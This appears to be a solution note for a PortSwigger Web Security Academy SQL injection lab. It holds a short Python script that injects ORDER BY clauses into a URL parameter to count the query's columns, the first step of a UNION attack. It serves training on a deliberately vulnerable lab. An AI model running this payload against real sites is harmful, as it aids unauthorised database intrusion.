SQL injection UNION attack, determining the number of columns returned by the query
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns




Last updated
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns




Last updated
#!/usr/bin/python3
import requests
url = '<url>'
orderby_ = "' order by "
print("[+] Enumerating Columns")
for i in range(1, 100):
orderby_ = f"' order by %d" % i
sqli_column_enum = url + orderby_ + "--"
r = requests.get(sqli_column_enum)
if "Internal Server Error" in r.text:
i = i - 1
null = 'NULL'
print(f"[+] number of columns %d \n" % i)
sqli_column_enum = url + "' order by " + f'%d' % i + '--'
print("[=] Order by Payload : ", sqli_column_enum)
break